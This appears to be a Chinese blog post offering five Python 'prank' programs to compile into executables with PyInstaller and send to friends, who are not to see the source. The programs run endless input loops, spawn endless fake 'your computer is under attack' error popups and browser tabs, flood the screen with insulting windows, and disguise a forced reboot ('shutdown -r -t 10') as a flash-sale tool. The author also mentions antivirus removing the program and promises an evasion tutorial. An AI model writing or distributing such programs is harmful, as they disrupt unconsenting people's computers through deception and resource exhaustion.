瞬间“友尽”的五大整蛊代码,快去坑你的小伙伴吧!

Python 能做很多无聊,但有意思的事情,例如接下来的一些案例。

Python 整蛊程序

以下程序,不要发代码,要不实现不了你整蛊的目的。

要打包成一个 exe 程序,发给朋友才有意思。

使用 pip install pyinstaller

打包命令如下:

1
2
pyinstaller -F 文件名.py
1

过程中如果出现 BUG(一般是编码错误),点击导航查看解决方案

无聊程序之一

1
2
3
4
while True:
    n = input("猜猜我在想啥?")
    print("猜错喽")
123

你的朋友将永远无法知道你在想什么。

当然我安装 360 之后,程序没了。有兴趣研究免杀的,可以在给本文点个赞,点赞过 100,阿喵出一套 Python 免杀教程。

无聊程序之二

死命弹窗

1
2
3
4
5
import tkinter.messagebox
 
while True:
    tkinter.messagebox.showerror('Windows 错误','你的电脑正在被攻击!')
1234

运行之后,很就刺激了,如果对方不会杀进程,更刺激。
10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

 

无聊程序之三

调用默认浏览器,无限打开 CSDN ,让他爱上学习。

1
2
3
4
import webbrowser
while True:
    webbrowser.open('www.csdn.net')
123


额,使用之后,阿喵自己的电脑死机了。

瞬间 CPU…
10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

 

无聊程序之四

这个程序就动感多了,会随机出现弹窗。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import tkinter as tk
import random
import threading
import time
 
 
def boom():
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(0, width)
    b = random.randrange(0, height)
    window.title('你是一个傻狍子')
    window.geometry("200x50" + "+" + str(a) + "+" + str(b))
    tk.Label(window, text='你是一个傻狍子', bg='green',
             font=('宋体', 17), width=20, height=4).pack()
    window.mainloop()
 
 
threads = []
for i in range(100):
    t = threading.Thread(target=boom)
    threads.append(t)
    time.sleep(0.1)
    threads[i].start()
12345678910111213141516171819202122232425

运行效果如下图所示,非常带劲,可以任意修改。
10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧

 

无聊程序之五

该程序在阿喵看来能排到第一,甚至可以和当下最火的枪茅台案例结合一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import os
import time
a = """
 
     oooo oooooooooo.            .oooooo..o                     oooo         o8o  oooo  oooo
     `888 `888'   `Y8b          d8P'    `Y8                     `888         `"'  `888  `888
     888  888      888         Y88bo.       .ooooo.   .ooooo.   888  oooo  oooo   888   888
     888  888      888          `"Y8888o.  d88' `88b d88' `"Y8  888 .8P'   `888   888   888
     888  888      888 8888888      `"Y88b 888ooo888 888        888888.     888   888   888
     888  888     d88'         oo     .d8P 888    .o 888   .o8  888 `88b.   888   888   888
.o. 88P o888bood8P'           8""88888P'  `Y8bod8P' `Y8bod8P' o888o o888o o888o o888o o888o
`Y888P
 
功能列表:
1.预约商品
2.秒杀抢购商品
"""
print(a)
 
key = input("请选择:")
 
if key == "1":
     time.sleep(1.5)
     print('没有预约到\n')
     time.sleep(3)
     print('没事的,来抱一哈\n')
 
else:
     print("既然如此...")
     time.sleep(3)
     print("那你想得美~~~~~")
     os.system('shutdown -r -t 10')
time.sleep(10)
123456789101112131415161718192021222324252627282930313233
点击并拖拽以移动
别运行,运行之后别怪我。
 
pyinstaller 编码 BUG
在使用 pyinstaller 进行打包 exe 的时候,会出现如下错误:
 
  File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\utils\hooks\__init__.py", line 68, in __exec_python_cmd
    txt = exec_python(*cmd, env=pp_env)
  File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\compat.py", line 526, in exec_python
    return exec_command(*cmdargs, **kwargs)
  File "c:\users\administrator\appdata\local\programs\python\python37\lib\site-packages\PyInstaller\compat.py", line 321, in exec_command
    out = out.decode(encoding)
AttributeError: 'str' object has no attribute 'decode'
1234567

截图如下:
10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧
按照 BUG 提示的位置,修改下述代码:

1
2
out = out.decode(encoding) # 改为  out = out
1

打包成功在 dist 文件中找寻 exe 程序即可。
10 个无聊 Python 程序,用 Python 整蛊你的朋友们吧


最后在这里还是要推荐下我自己建的Python学习群:609616831,群里都是学Python的,如果你想学或者正在学习Python ,欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),还有各种好玩有趣的源码在群里哦,包括我自己整理的一份2020最新的Python进阶资料和零基础教学,欢迎进阶中和对Python感兴趣的小伙伴加入!

 

posted @   python阿喵  阅读(11289)  评论(0编辑  收藏  举报
编辑推荐:
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
阅读排行:
· 开发的设计和重构,为开发效率服务
· 从零开始开发一个 MCP Server!
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
点击右上角即可分享
微信分享提示